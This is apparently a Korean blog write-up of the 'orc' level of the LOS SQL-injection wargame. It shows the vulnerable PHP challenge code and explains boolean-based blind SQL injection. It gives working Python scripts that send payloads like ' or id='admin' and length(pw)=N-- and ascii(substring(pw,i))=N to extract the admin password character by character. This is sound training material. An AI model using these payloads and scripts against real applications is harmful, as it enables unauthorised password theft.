Notice
Recent Posts
Recent Comments
250x250
반응형
«   2025/08   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Archives
Today
Total
관리 메뉴

Tyojong

[LOS] orc 본문

web/LOS

[LOS] orc

Tyojong 2025. 7. 20. 23:45
반응형
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

 

문제 목표

if($result['id']) echo "<h2>Hello admin</h2>";

일단 id가 정상적으로 나오면 Hello admin이라는 문자열이 출력된다.

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

하지만 문제를 해결하기 위해서는 pw가 정확히 맞아야 한다.

 

즉 where 구문만 참이 되면 Hello admin 이라는 문자열이 출력되기 때문에 blind sql injection을 사용해 pw를 추출해야 한다.

 

문제 해결

1. 패스워드 길이 파악

일단 패스워드의 길이를 파악하기 위해서 sql의 length 함수를 사용하면 된다.

' or length(pw)>1-- 구문을 이용하게 되면 pw의 길이가 1 이상이면 True 이므로 Hello admin이 출력된다. 반대로

 

' or length(pw)>100-- 구문을 만들어 pw의 길이가 100이상인지 확인하는 sql 구문을 넣으면 False 이므로 Hello admin이 출력되지 않는다.

 

 

하지만 여기서 주의해야 할 점이 있다. 어떤 계정이던 상관없이 pw 길이만 맞으면 참을 반환하기 때문에 admin계정의 pw의 길이를 정확히 파악하기 위해서는 조건을 추가해줘야 한다.

 

실제로 길이 4와 8에서 모두 참이 되어 Hello admin이 출력된 것을 볼 수 있다.

admin의 pw 길이만 파악하기 위해서는 ' or id='admin' and length(pw)>1-- 이런식으로 or 뒤에 id='admin' 구문을 넣어

id가 admin이면서 동시에 패스워드 길이가 맞는지 and를 사용해 확인하는 코드를 작성해야 한다.

 

 

이 과정을 자동화 해주는 파이썬 코드를 작성하면

import requests

cookies = {"PHPSESSID": "o8ptjr48n8f6ilnjtck2fvik25"}

pw_len = 1

while True:

    payloads = f"?pw=%27%20or%20id=%27admin%27%20and%20%20length(pw)={pw_len}--%20"
    url = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php{payloads}"

    response = requests.get(url, cookies=cookies)
    if "Hello admin" in response.text:
        print(f"password length : {pw_len}")
        break
    else:
        print(f"password length : {pw_len}", end='\r')
        pw_len = pw_len + 1

password의 길이를 파악할 수 있다.

 

2. 패스워드 문자열 파악

정확한 패스워드를 파악하기 위해서는 ascii와 substring 함수를 사용하면된다.

ascii함수는 ascii코드 값을 문자열로 변환해주는 역할을 하고 substring은 문자열을 자르는 역할을 한다.

 

' or ascii(substring(pw,1))>32-- 구문을 보면 pw컬럼에서 1번째 문자의 ascii값이 32이상인지 검사하는 구문이다.

아스키코드표를 보면 일반적으로 우리가 패스워드에 사용하는 아스키 값으로(10진수) 33~126 정도면 확인이 가능하다.

 

마찬가지로 ascii값이 126 이상이면 만족하지 않기 때문에 Hello admin이 출력되지 않는 것을 확인할 수 있다.

 

이 과정 또한 파이썬 코드를 작성하여 자동화 해주면

pw = ""


for i in range(1, pw_len+1):
    for pw_ascii in range(33, 127):
        payloads = f"?pw=%27%20or%20ascii(substring(pw,{i}))={pw_ascii}--%20"
        url = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php{payloads}"

        response = requests.get(url, cookies=cookies)
        if "Hello admin" in response.text:
            pw = pw + chr(pw_ascii)
            break
        else:
            print(f"password : {pw}{chr(pw_ascii)}", end='\r')

print(f"\rpassword : {pw}")

위 코드 아래 바로 붙여주면 된다.

패스워드가 출력되는 것을 알 수 있다.

 

해당 패스워드를 입력하면

 

문제가 해결된다.

728x90

'web > LOS' 카테고리의 다른 글

[LOS] darkelf  (0) 2025.07.22
[LOS] wolfman  (0) 2025.07.21
[LOS] goblin  (0) 2025.07.20
[LOS] cobolt  (0) 2025.07.20
[LOS] gremlin  (0) 2025.07.19